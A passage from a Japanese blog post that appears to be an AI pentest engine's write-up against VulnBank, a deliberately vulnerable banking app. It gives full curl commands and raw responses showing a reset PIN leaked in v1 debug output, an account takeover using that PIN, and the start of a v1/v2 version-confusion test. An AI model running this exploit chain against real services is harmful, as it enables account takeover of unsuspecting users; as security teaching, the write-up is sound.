&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="nt"&gt;"name"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"bill-payments"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="nt"&gt;"description"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"Bill payment operations"&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="nt"&gt;"name"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"ai-agent"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="nt"&gt;"description"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"AI Customer Support Agent (Intentionally Vulnerable)"&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="nt"&gt;"name"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"internal"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="nt"&gt;"description"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"Internal-only endpoints for SSRF demonstration"&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="err"&gt;...&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&lt;strong&gt;OpenAPI JSONの解析結果&lt;/strong&gt;：&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;サーバー／ベースURL&lt;/strong&gt;：&lt;code&gt;https://vulnbank.org&lt;/code&gt;（説明：Controlled Production Server）。列挙されたすべてのエンドポイントは、スコープ内のルートホスト内にあります。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;パスワードリセット関連のエンドポイント&lt;/strong&gt;（パスパラメーター&lt;code&gt;{version}&lt;/code&gt; &amp;isin; {1,2}でバージョン管理）：&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;開始&lt;/strong&gt;：&lt;code&gt;/api/v{version}/forgot-password&lt;/code&gt;（POST）&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;概要&lt;/strong&gt;：パスワードリセットを要求する（バージョン管理）&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;説明&lt;/strong&gt;：3桁のリセットPINを生成する。仕様はデータ露出におけるバージョン差異を注記している（v1はより機微、v2はより少ない。v2はレスポンスにPINを露出しない）。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;パスパラメーター&lt;/strong&gt;：&lt;code&gt;version&lt;/code&gt;（in: path、required、integer、enum [1,2]、default 2）&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;リクエストボディ&lt;/strong&gt;（application/json、required）：schema: object、properties: &lt;code&gt;username&lt;/code&gt;: string。オブジェクト内のフィールドに明示的なrequired[]配列はなし（全体のrequestBody.required = trueのみ）&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;レスポンス&lt;/strong&gt;：&lt;strong&gt;200&lt;/strong&gt;：リセットPINを生成。schema: object、properties: &lt;code&gt;status&lt;/code&gt;（string）、&lt;code&gt;message&lt;/code&gt;（string）、&lt;code&gt;debug_info&lt;/code&gt;（object）。&lt;strong&gt;注記&lt;/strong&gt;：&lt;code&gt;debug_info&lt;/code&gt;の説明：&lt;strong&gt;「v1: PINを含む広範な機微情報を含む。v2: 機微情報は少なく、PINは露出されない。」&lt;/strong&gt; &lt;strong&gt;404&lt;/strong&gt;：ユーザーが見つからない（ステータスコードやメッセージによるユーザー列挙の可能性を示す）&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;セキュリティ&lt;/strong&gt;：セキュリティスキームの指定なし（仕様上は公開エンドポイント）&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;引き換え／確認&lt;/strong&gt;：&lt;code&gt;/api/v{version}/reset-password&lt;/code&gt;（POST）&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;概要&lt;/strong&gt;：PINを使用してパスワードをリセットする（バージョン管理）&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;説明&lt;/strong&gt;：3桁のPINでパスワードをリセットする。データ露出におけるバージョン差異（v1は使用済みPINを含む機微なデバッグ情報を含む。v2は含まない）。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;パスパラメーター&lt;/strong&gt;：&lt;code&gt;version&lt;/code&gt;（in: path、required、integer、enum [1,2]、default 2）&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;リクエストボディ&lt;/strong&gt;（application/json、required）：schema: object、properties: &lt;code&gt;username&lt;/code&gt;: string、&lt;code&gt;reset_pin&lt;/code&gt;: string（pattern: &lt;code&gt;^\d{3}$&lt;/code&gt;）、&lt;code&gt;new_password&lt;/code&gt;: string。オブジェクト内に明示的なrequired[]配列はなし（全体のrequestBody.required = trueのみ）&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;レスポンス&lt;/strong&gt;：&lt;strong&gt;200&lt;/strong&gt;：パスワードのリセットに成功。schema: object: &lt;code&gt;status&lt;/code&gt;（string）、&lt;code&gt;message&lt;/code&gt;（string）、&lt;code&gt;debug_info&lt;/code&gt;（object）。&lt;strong&gt;注記&lt;/strong&gt;：&lt;code&gt;debug_info&lt;/code&gt;の説明：&lt;strong&gt;「v1: 使用済みPINを含む広範なデバッグ情報を含む。v2: 存在しない。」&lt;/strong&gt; &lt;strong&gt;400&lt;/strong&gt;：無効なリセットPIN&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;セキュリティ&lt;/strong&gt;：セキュリティスキームの指定なし（仕様上は公開エンドポイント）&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;{version}プレースホルダーが示す具体的なバージョン付きパス&lt;/strong&gt;：POST &lt;code&gt;/api/v1/forgot-password&lt;/code&gt;、POST &lt;code&gt;/api/v2/forgot-password&lt;/code&gt;、POST &lt;code&gt;/api/v1/reset-password&lt;/code&gt;、POST &lt;code&gt;/api/v2/reset-password&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;文書化されたバージョン固有の差異&lt;/strong&gt;（仕様のテキストより）：&lt;strong&gt;v1（旧版）&lt;/strong&gt;は、リセットPINやその他の詳細を含む可能性のある機微な&lt;code&gt;debug_info&lt;/code&gt;を露出する。&lt;strong&gt;v2（新版）&lt;/strong&gt;はデータ露出を削減し、PINはレスポンスに露出されず、リセット成功時に&lt;code&gt;debug_info&lt;/code&gt;は存在しない。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;重大な検出結果&lt;/strong&gt;：OpenAPI仕様は、v1がレスポンスに&lt;code&gt;debug_info.pin&lt;/code&gt;を露出し、v2は露出しないことを明示的に文書化しており、実質的にセキュリティのダウングレード経路を公表しています。&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;h2 id="フェーズ1:待って、レスポンスにpinをそのまま入れたの?"&gt;フェーズ1：待って、レスポンスにPINをそのまま入れたの？&lt;/h2&gt;
&lt;p&gt;まず、エンジンは仕様が示唆する内容をテストしました。v1は実際にPINを漏らすのか？&lt;/p&gt;
&lt;div class="ai-pentest-session"&gt;
&lt;div class="prompt"&gt;
&lt;p&gt;&lt;strong&gt;システムプロンプト：v1の情報漏えいをテスト&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;アカウントAについてv1のパスワードリセットを開始し、完全なエビデンスを取得する。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;アクション&lt;/strong&gt;：ヘッダー&lt;code&gt;{Content-Type: application/json}&lt;/code&gt;とボディ&lt;code&gt;{"username":"testA_vconf_01"}&lt;/code&gt;を付けて、&lt;code&gt;https://vulnbank.org/api/v1/forgot-password&lt;/code&gt;にPOSTを正確に1回だけ送信する。レートは5rps未満に保ち、再試行はしない。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;記録すべきエビデンス&lt;/strong&gt;：生のHTTPリクエストとレスポンス（ステータス、レート制限／CORS／デバッグ系を含むすべてのヘッダー）、完全なJSONボディ。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;想定される結果&lt;/strong&gt;：v1がレスポンス内の&lt;code&gt;debug_info&lt;/code&gt;を通じて3桁のリセットPINを漏らすかどうかを判定する（存在する場合はPINをそのまま記録する）。&lt;/p&gt;
&lt;/div&gt;
&lt;div class="output"&gt;
&lt;p&gt;&lt;strong&gt;使用ツール&lt;/strong&gt;：curl&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;引数&lt;/strong&gt;：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;curl&lt;span class="w"&gt; &lt;/span&gt;-sS&lt;span class="w"&gt; &lt;/span&gt;-v&lt;span class="w"&gt; &lt;/span&gt;--http1.1&lt;span class="w"&gt; &lt;/span&gt;-A&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;-X&lt;span class="w"&gt; &lt;/span&gt;POST&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"https://vulnbank.org/api/v1/forgot-password"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;-H&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"Content-Type: application/json"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;--data&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;'{"username":"testA_vconf_01"}'&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;-D&lt;span class="w"&gt; &lt;/span&gt;-&lt;span class="w"&gt; &lt;/span&gt;-o&lt;span class="w"&gt; &lt;/span&gt;-
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&lt;strong&gt;出力&lt;/strong&gt;：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="kr"&gt;HTTP&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="m"&gt;1.1&lt;/span&gt; &lt;span class="m"&gt;200&lt;/span&gt; &lt;span class="ne"&gt;OK&lt;/span&gt;
&lt;span class="na"&gt;Date&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="l"&gt;Fri, 07 Nov 2025 12:31:12 GMT&lt;/span&gt;
&lt;span class="na"&gt;Content-Type&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="l"&gt;application/json&lt;/span&gt;
&lt;span class="na"&gt;Content-Length&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="l"&gt;228&lt;/span&gt;
&lt;span class="na"&gt;Access-Control-Allow-Origin&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="l"&gt;*&lt;/span&gt;

&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nt"&gt;"debug_info"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nt"&gt;"pin"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"388"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nt"&gt;"pin_length"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nt"&gt;"timestamp"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"2025-11-07 12:22:57.378546"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nt"&gt;"username"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"testA_vconf_01"&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nt"&gt;"message"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"Reset PIN has been sent to your email."&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nt"&gt;"status"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"success"&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&lt;strong&gt;重大な検出結果&lt;/strong&gt;：レスポンスは&lt;code&gt;debug_info.pin&lt;/code&gt;でリセットPINを直接露出しています。ユーザー名さえあれば、攻撃者は被害者のメールに一切触れることなくPINを取得できます。&lt;/p&gt;
&lt;p&gt;ワイルドカードのCORSポリシーが問題をさらに深刻にします。どのWebサイトからでもこのリクエストを発生させ、レスポンスを読み取れてしまうのです。漏えいがなかったとしても、3桁のPIN空間（000〜999）は簡単に総当たりできます。レスポンスは有効なユーザー名も確認でき、列挙攻撃を可能にします。&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;まとめると：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;3桁のリセットPIN&lt;/strong&gt;が&lt;code&gt;debug_info.pin&lt;/code&gt;にそのまま入っている。&lt;/li&gt;
&lt;li&gt;必要だったのは&lt;strong&gt;ユーザー名&lt;/strong&gt;だけ。&lt;/li&gt;
&lt;li&gt;APIは&lt;strong&gt;CORSが全開&lt;/strong&gt;（&lt;code&gt;Access-Control-Allow-Origin: *&lt;/code&gt;）で、悪意のあるサイトはどれでも被害者のブラウザーからこのリクエストを発生させ、JavaScriptでPINを読み取れる。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;メールボックスへのアクセスも、フィッシングリンクも不要で、ログインした状態で悪意のあるページを訪れること以上のユーザー操作も要りません。これだけでも、すでに深刻なアカウント乗っ取りの経路です。&lt;/p&gt;
&lt;h2 id="フェーズ2:アカウント乗っ取りに向けてv1のpinを引き換える"&gt;フェーズ2：アカウント乗っ取りに向けてv1のPINを引き換える&lt;/h2&gt;
&lt;div class="ai-pentest-session"&gt;
&lt;div class="prompt"&gt;
&lt;p&gt;&lt;strong&gt;システムプロンプト：悪用可能性を確認&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;v1のPIN漏えいの悪用可能性を検証するため、アカウントAについてv1のリセットPINを引き換える。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;アクション&lt;/strong&gt;：ボディ&lt;code&gt;{"username":"testA_vconf_01","reset_pin":"388","new_password":"Tmp!Pass#A1"}&lt;/code&gt;を付けて、&lt;code&gt;https://vulnbank.org/api/v1/reset-password&lt;/code&gt;にPOSTを正確に1回だけ送信する。試行は1回のみ。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;想定される結果&lt;/strong&gt;：漏えいしたv1のPINでアカウントAのパスワードをリセットできることを確認し、実用的なアカウント乗っ取り（ATO）を実証する。&lt;/p&gt;
&lt;/div&gt;
&lt;div class="output"&gt;
&lt;p&gt;&lt;strong&gt;使用ツール&lt;/strong&gt;：curl&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;引数&lt;/strong&gt;：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;curl&lt;span class="w"&gt; &lt;/span&gt;-sS&lt;span class="w"&gt; &lt;/span&gt;-i&lt;span class="w"&gt; &lt;/span&gt;--http1.1&lt;span class="w"&gt; &lt;/span&gt;-A&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;-X&lt;span class="w"&gt; &lt;/span&gt;POST&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"https://vulnbank.org/api/v1/reset-password"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;-H&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"Content-Type: application/json"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;-H&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"Connection: keep-alive"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;--data&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;'{"username":"testA_vconf_01","reset_pin":"388","new_password":"Tmp!Pass#A1"}'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&lt;strong&gt;出力&lt;/strong&gt;：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="kr"&gt;HTTP&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="m"&gt;1.1&lt;/span&gt; &lt;span class="m"&gt;200&lt;/span&gt; &lt;span class="ne"&gt;OK&lt;/span&gt;
&lt;span class="na"&gt;Date&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="l"&gt;Fri, 07 Nov 2025 12:33:27 GMT&lt;/span&gt;
&lt;span class="na"&gt;Content-Type&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="l"&gt;application/json&lt;/span&gt;
&lt;span class="na"&gt;Content-Length&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="l"&gt;243&lt;/span&gt;
&lt;span class="na"&gt;Connection&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="l"&gt;keep-alive&lt;/span&gt;
&lt;span class="na"&gt;Access-Control-Allow-Origin&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="l"&gt;*&lt;/span&gt;
&lt;span class="na"&gt;Server&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="l"&gt;cloudflare&lt;/span&gt;
&lt;span class="na"&gt;cf-cache-status&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="l"&gt;DYNAMIC&lt;/span&gt;
&lt;span class="na"&gt;Nel&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="l"&gt;{"report_to":"cf-nel","success_fraction":0.0,"max_age":604800}&lt;/span&gt;
&lt;span class="na"&gt;Report-To&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="l"&gt;{"group":"cf-nel","max_age":604800,"endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=Q%2BcQ5yGSX6r8390cSNwy9wykYa2YMUpMBvBph5sOKgLcMUjnVsMc2nVsujuibpoQ16DME9mFqO%2FIkNXrjGIWpEMPxMbhGeRNrdCFZg%3D%3D"}]}&lt;/span&gt;
&lt;span class="na"&gt;CF-RAY&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="l"&gt;99acdbf43a805d49-FRA&lt;/span&gt;
&lt;span class="na"&gt;alt-svc&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="l"&gt;h3=":443"; ma=86400&lt;/span&gt;

&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nt"&gt;"debug_info"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nt"&gt;"reset_pin_used"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"388"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nt"&gt;"reset_success"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nt"&gt;"timestamp"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"2025-11-07 12:25:12.976952"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nt"&gt;"username"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"testA_vconf_01"&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nt"&gt;"message"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"Password has been reset successfully"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nt"&gt;"status"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"success"&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;パスワードのリセットは成功します。v1は漏えいしたPINを受け入れ、メール確認を一切行わずにパスワードを変更します。レスポンスは&lt;code&gt;reset_success: true&lt;/code&gt;で操作を確認し、さらに&lt;code&gt;debug_info.reset_pin_used&lt;/code&gt;でPINをそのまま返しています。&lt;/p&gt;
&lt;p&gt;この時点で、v1だけでも悪用可能であることを実証できました。ユーザー名と漏えいしたPINがあれば、アカウント乗っ取りが成立します。しかし興味深い問いは、v2が同じ不備を抱えているかどうかです。&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;h2 id="フェーズ3:バージョンをまたぐ受け入れをテスト(決定的な発見)"&gt;フェーズ3：バージョンをまたぐ受け入れをテスト（決定的な発見）&lt;/h2&gt;
&lt;div class="ai-pentest-session"&gt;
&lt;div class="prompt"&gt;
&lt;p&gt;&lt;strong&gt;システムプロンプト：バージョン混同をテスト&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;v2の引き換えエンドポイントがv1で発行されたPINを受け入れるかどうかをテストする。受け入れる場合、バージョン境界の強制がないままバックエンドの状態が共有されていることを示す。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;テスト手順&lt;/strong&gt;：
1. testB_vconf_01についてv1でパスワードリセットを開始する（漏えいしたPINを取得）
2. v1で発行されたPINをv2の引き換えエンドポイントで引き換えようと試みる&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;仮説&lt;/strong&gt;：成功すれば、攻撃者はv2のインターフェースを使いながらv1の漏えいを悪用でき、クライアント側のあらゆる堅牢化を回避できる。&lt;/p&gt;
&lt;/div&gt;
&lt;div class="output"&gt;
&lt;p&gt;&lt;strong&gt;ステップ1：アカウントBについてv1のリセットを開始&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;使用ツール&lt;/strong&gt;：curl&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;引数&lt;/strong&gt;：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;curl&lt;span class="w"&gt; &lt;/span&gt;-sS&lt;span class="w"&gt; &lt;/span&gt;-v&lt;span class="w"&gt; &lt;/span&gt;--http1.1&lt;span class="w"&gt; &lt;/span&gt;-A&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;-X&lt;span class="w"&gt; &lt;/span&gt;POST&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"https://vulnbank.org/api/v1/forgot-password"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;-H&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"Content-Type: application/json"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;-H&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"Accept: application/json"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;-H&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"Connection: keep-alive"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;--data&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;'{"username":"testB_vconf_01"}'&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;-D&lt;span class="w"&gt; &lt;/span&gt;-&lt;span class="w"&gt; &lt;/span&gt;-o&lt;span class="w"&gt; &lt;/span&gt;-
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&lt;strong&gt;出力&lt;/strong&gt;：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="kr"&gt;HTTP&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="m"&gt;1.1&lt;/span&gt; &lt;span class="m"&gt;200&lt;/span&gt; &lt;span class="ne"&gt;OK&lt;/span&gt;
&lt;span class="na"&gt;Date&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="l"&gt;Fri, 07 Nov 2025 12:40:12 GMT&lt;/span&gt;
&lt;span class="na"&gt;Content-Type&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="l"&gt;application/json&lt;/span&gt;
&lt;span class="na"&gt;Content-Length&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="l"&gt;228&lt;/span&gt;
